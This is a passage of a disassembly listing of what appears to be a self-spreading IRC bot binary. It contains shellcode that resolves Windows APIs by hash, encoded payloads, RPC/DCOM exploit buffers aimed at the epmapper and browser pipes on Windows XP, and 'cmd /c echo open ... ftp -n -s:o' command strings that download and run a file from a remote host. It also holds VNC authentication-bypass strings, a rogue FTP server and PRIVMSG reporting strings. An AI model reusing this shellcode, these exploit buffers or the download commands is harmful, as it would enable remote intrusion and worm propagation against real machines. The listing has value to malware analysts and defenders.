sub_40CD85+B2o align 4 dword_432088 dd 10FF8h, 0 ; DATA XREF: sub_40CD85+6Ao dword_432090 dd 10FF8h ; DATA XREF: sub_40CD85+79o dword_432094 dd 7FFDF020h, 0 ; DATA XREF: sub_40CD85+162o dword_43209C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1AF+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432124 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1AF+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432154 dd 0 ; DATA XREF: sub_40D1AF+44o dd 800000D4h, 0 unk_432160 db 81h ; ; DATA XREF: sub_40D289+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_4321AC db 41h ; DATA XREF: sub_40D327+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; DATA XREF: ___:0040D606o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4322EC push dword ptr [esi] push 63D61209h call sub_432302 mov [esi+8], eax call sub_4322B5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_432302 mov [esi+0Ch], eax call sub_432267 push dword ptr [esi+4] push 4C0297FAh call sub_432302 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4321F0 endp ; =============== S U B R O U T I N E ======================================= sub_432267 proc near ; CODE XREF: sub_4321F0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432290 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_432267 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432290 proc near ; CODE XREF: sub_432267+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43229F: ; CODE XREF: sub_432290+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4322AC inc ebx jmp short loc_43229F ; --------------------------------------------------------------------------- loc_4322AC: ; CODE XREF: sub_432290+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4322B5 proc near ; CODE XREF: sub_4321F0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4322CD: ; CODE XREF: sub_4322B5+1Ej cmp [ecx], ebx jz short loc_4322D5 mov ecx, [ecx] jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D5: ; CODE XREF: sub_4322B5+1Aj mov edx, edi loc_4322D7: ; CODE XREF: sub_4322B5+2Aj cmp [edx+4], ebx jz short loc_4322E1 mov edx, [edx+4] jmp short loc_4322D7 ; --------------------------------------------------------------------------- loc_4322E1: ; CODE XREF: sub_4322B5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4322B5 endp ; =============== S U B R O U T I N E ======================================= sub_4322EC proc near ; CODE XREF: sub_4321F0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4322EC endp ; =============== S U B R O U T I N E ======================================= sub_432302 proc near ; CODE XREF: sub_4321F0+16p ; sub_4321F0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_432318: ; CODE XREF: sub_432302+33j jecxz short loc_432352 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_432325: ; CODE XREF: sub_432302+2Dj lodsb cmp al, ah jz short loc_432331 ror edi, 0Dh add edi, eax jmp short loc_432325 ; --------------------------------------------------------------------------- loc_432331: ; CODE XREF: sub_432302+26j cmp edi, [esp+20h+arg_0] jnz short loc_432318 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_432352: ; CODE XREF: sub_432302:loc_432318j ; sub_432302:loc_432352j jmp short loc_432352 sub_432302 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_432358 proc near ; DATA XREF: ___:0040D5B4o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4323AA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_432375: ; CODE XREF: sub_432358+38j jecxz short loc_4323A5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432380: ; CODE XREF: sub_432358+32j lodsb test al, al jz short loc_43238C ror edx, 0Dh add edx, eax jmp short loc_432380 ; --------------------------------------------------------------------------- loc_43238C: ; CODE XREF: sub_432358+2Bj cmp edx, [esp+arg_0] jnz short loc_432375 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4323A5: ; CODE XREF: sub_432358:loc_432375j mov [esp+arg_0], ebx retn sub_432358 endp ; =============== S U B R O U T I N E ======================================= sub_4323AA proc near ; CODE XREF: sub_432358+7p ; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4323C3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4323CE ; --------------------------------------------------------------------------- loc_4323C3: ; CODE XREF: sub_4323AA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4323CE: ; CODE XREF: sub_4323AA+14j pop edi xor esi, esi pusha push esi jmp short loc_4323E2 sub_4323AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4323D5 proc near ; CODE XREF: sub_4323AA:loc_4323E2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4323D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323AA loc_4323E2: ; CODE XREF: sub_4323AA+29j call sub_4323D5 loc_4323E7: ; DATA XREF: sub_40CD85+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_4323AA ; --------------------------------------------------------------------------- dw 0 dword_4323EC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o dword_4323F8 dd 30h ; DATA XREF: sub_40CD85+2CAo dword_4323FC dd 0A1h ; DATA XREF: sub_40CD85+29Fo dword_432400 dd 3 ; DATA XREF: sub_40CD85+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD85+153o align 4 loc_43240C: ; DATA XREF: sub_40CD85+E8o jmp short near ptr dword_432414 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432414 dd 0 ; CODE XREF: ___:loc_43240Cj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5DBo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_43247C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E01Eo ; ___:0040E158o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4324C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCEA+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43282C dd 20h, 0 ; DATA XREF: sub_40DCEA+136o dd 20h, 5C005Ch, 0 off_432840 dd offset aEmant ; DATA XREF: sub_40DCEA+15Do ; "emant" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_432880 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_4328B4 dd offset word_580046 ; DATA XREF: sub_40DCEA+45o dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432990 dd 10016C6h ; DATA XREF: sub_40DCEA+104o dword_432994 dd 100139Dh ; DATA XREF: sub_40DCEA+FBo asc_432998: ; DATA XREF: sub_40DB4F+1Co ; sub_40DC32+16o unicode 0, <\\>,0 align 10h off_4329A0 dd offset dword_49005C ; DATA XREF: sub_40DB4F+Co ; sub_40DC32+Bo dd offset aLandes ; "Landes" dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o ; ___:0041B90Co align 4 aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo align 4 dword_432A08 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o ; --------------------------------------------------------------------------- loc_432A14: ; CODE XREF: ___:00432A1Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432A14 inc edi jz short loc_432A5B and eax, 952CE753h inc esp jle short loc_432A83 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432A5B: ; CODE XREF: ___:00432A21j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_432ABA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_432A80: ; CODE XREF: ___:00432AADj xor [esi-25h], bl loc_432A83: ; CODE XREF: ___:00432A29j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432A9C: ; CODE XREF: ___:00432ACFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_432A80 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_432ABA: ; CODE XREF: ___:00432A61j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432B46 jo short loc_432A9C fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432ADD+1 add bl, [edi] loc_432ADD: ; CODE XREF: ___:00432AD9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432AF2+2 cmp ch, bh dec edx loc_432AF2: ; CODE XREF: ___:00432AEDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432B46: ; CODE XREF: ___:00432ACDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432BCC sub al, 0BCh jmp near ptr 54452F3Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432B68 dd 0EFFFC481h, 44FFFFh, 432BB4h ; DATA XREF: ___:0040E61Bo dword_432B74 dd 42Ah ; DATA XREF: ___:0040E5CEr dword_432B78 dd 3E8h ; DATA XREF: ___:0040E63Fr dword_432B7C dd 258h ; DATA XREF: ___:0040E611r byte_432B80 db 1 ; DATA XREF: ___:0040E57Ar ; ___:0040E648r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432B98 dd 20804h ; DATA XREF: sub_40E288r ___:0040E666o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432BCC: ; CODE XREF: ___:00432B50j push eax xor al, 29h loc_432BCF: ; DATA XREF: ___:0040E5A2o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432BD8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040E4D2o dword_432BEC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040E476o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9CB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_432C94 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o align 4 word_433ED8 dw 1 ; DATA XREF: ___:0040EBF9r ; sub_41B4FB+24r ... align 4 dword_433EDC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A152+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438010o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:0043801Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4341BC db 2Dh ; - ; DATA XREF: sub_40FAA3+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4341E4 db 0Dh,0Ah,0 ; DATA XREF: sub_40FAA3+2CFo ; sub_41A9BC+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAA3+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FEFE+97o ; sub_41AF2B+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FEFE+5Eo align 4 unk_434404 db 2Dh ; - ; DATA XREF: sub_410080+28Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_43443C db 2Dh ; - ; DATA XREF: sub_410080+20Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_434470: ; DATA XREF: sub_410080+157o unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_410080+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_410330+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_410330+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410330:loc_410848o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410330+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" 